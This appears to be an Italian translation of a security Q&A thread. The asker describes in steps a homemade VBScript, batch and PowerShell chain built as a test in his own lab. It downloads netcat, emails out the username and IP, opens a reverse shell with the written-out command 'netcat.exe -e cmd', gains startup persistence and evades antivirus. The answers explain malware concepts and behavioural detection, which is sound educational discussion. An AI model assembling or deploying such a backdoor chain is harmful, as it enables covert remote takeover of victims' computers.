Ho creato qualche tipo di malware? [chiuso]

0

Sono abbastanza nuovo in questo tipo di cose e sto sperimentando un po '. Questo fine settimana ho avuto un po 'di tempo libero e ho deciso di scherzare con VBScript e PowerShell. Quello che ho fatto è che ho scritto un VBScript che può essere eseguito come utente normale o come amministratore e come segue esegue:

  1. Crea uno script .bat e inserisce manualmente il codice nello script riga per riga e poi lo esegue. .Bat contiene:

    • Un comando takeown per system32, sysWOW64 (se eseguito come amministratore, ovviamente)
    • Un comando icacls che rende le suddette cartelle modificabili da chiunque
    • Esegue lo script PowerShell precedentemente creato
    • Aggiunge un .vbs nel registro macchina locale per essere eseguito all'avvio come sistema
  2. Crea uno script PowerShell e inserisce il codice manualmente nello script riga per riga. Il .ps1 contiene:

    • Prima scarica netcat
    • Quindi procede alla decompressione del file scaricato
    • Quindi acquisisce il nome utente del sistema e l'ip pubblico
    • Invia i dati tramite smtp a un indirizzo email specificato
    • Finalmente esegue netcat.exe con argomenti: "netcat.exe -e cmd {server di ascolto pubblico ip} {porta}"
  3. Crea un altro .vbs e inserisce il codice riga per riga manualmente (che verrà eseguito all'avvio come indicato nel .bat). Il .vbs contiene:

    • Un ciclo while che ogni 5 minuti esegue un file .bat che contiene "netcat.exe -e cmd {server di ascolto public ip} {port}" come comando (quindi posso avere una backdoor persistente)
  4. Un file .bat che contiene un solo comando:

    • "netcat.exe -e cmd {server di ascolto public ip} {port}"
  5. Esegui .bat sullo sfondo nascosto dall'utente

Sul lato "attacker" ho aperto netcat in ascolto sulla porta specificata. Sono stato in grado di ottenere un elevato cmd senza alcun innesco di AV (testato con Avira, ESET).

Funziona su Windows 7, 8, 10 x64 e ho fatto supportare sia powershell v. < 3 and v. > 3.

Ciò che ho ottenuto è un elevato cmd con persistenza senza attivazione del rilevamento AV e sembrava molto facile da raggiungere.

Se questo è stato rilevato come potenziale minaccia dal software antivirus e rimosso dal sistema? Sono in grado di eseguire l'esecuzione di codice in modalità remota e ottenere l'accesso completo al sistema di destinazione

Questo progetto è stato eseguito in un ambiente locale che possiedo. Non ho intenzione di nient'altro

    
posta Anonymous 22.01.2018 - 13:48
fonte

2 risposte

4

Penso che il tuo problema riguardi il concetto alla base del malware. Un malware è un software che fa più di quello che ti aspetti che faccia . O un software che fa ciò che non vuoi che faccia .

Se creo un software che cancella tutto sul mio computer, non è un malware, è legittimo, voglio che accada.

Se lo do a un amico e gli dico: Ehi, guarda questo divertente giochino, verrà da me (darmi un pugno in faccia) e chiedi: perché mi hai mandato un malware?!

Quindi tutto dipende dal contesto. Hai fatto un pezzo di software che fa cose legittime. Quello che stai cercando di ottenere lo renderà o meno un malware.

Come per la tua modifica: Non sono un esperto di AV, ma da quello che so, cercano modelli. Scrivere il proprio malware / virus con un solo codice legit lo renderebbe quasi indeterminabile, perché non si sta utilizzando alcun modello che l'AV conosca. Il punto qui è che non usi alcuna violazione, non ci sono exploit di sicurezza. Non stai eccedendo i tuoi diritti, né stai uscendo da alcun ambito applicativo. Hai appena creato uno strumento per connetterti a un altro computer e per eseguire il comando.

Prenderò l'esempio del recente exploit Meltdown and Spectre. Sono molto pericolosi non perché in questo momento, nessun AV sa come rilevarlo, ma poiché Av probabilmente non saprebbe mai come rilevarlo, perché è al 100% codice legit. Perché è al 100% legit, ci sono infiniti modi per scrivere un exploit. E così, nessun modello sarebbe venuto fuori.

    
risposta data 22.01.2018 - 14:09
fonte
0

Risposta breve: sì è così facile, ma neanche una sorpresa.

Ciò che rende pericoloso il malware non è quello che fa, ma come lo fa. Aprire file, scrivere file, scaricare elementi, aprire connessioni di rete. Un videogioco fa tutto questo. Nessuno di loro è intrinsecamente "cattivo".

Il tuo "malware" ha diversi punti non pericolosi che gli consentono di eludere il rilevamento AV:

  • è un puro binario che può essere identificato nel task manager
  • lascia molti artefatti attorno
  • una shell connessa direttamente

Un'ispezione manuale trasformerà queste cose e alcune di queste cose verranno persino registrate. Non è "furtivo". Il codice segreto è quello che tende a cercare AV (come il tuo incidente con il cavallo di Troia).

Ecco perché il ransomware ha colpito così duramente quando è arrivato. Non aveva bisogno di essere furtivo o addirittura intelligente.

Ciò di cui hai bisogno, nel tuo caso, è qualcosa da analizzare comportamento . Powershell dovrebbe fare queste cose? Il codice è stato firmato? Netcat è un binario valido da eseguire? L'analisi del comportamento esamina il contesto di azioni innocue per determinare se dovrebbe essere classificato come dannoso.

Quindi, no, nessuno è sorpreso che AV non abbia capito queste cose. Ma non è progettato per

    
risposta data 22.01.2018 - 15:08
fonte

Leggi altre domande sui tag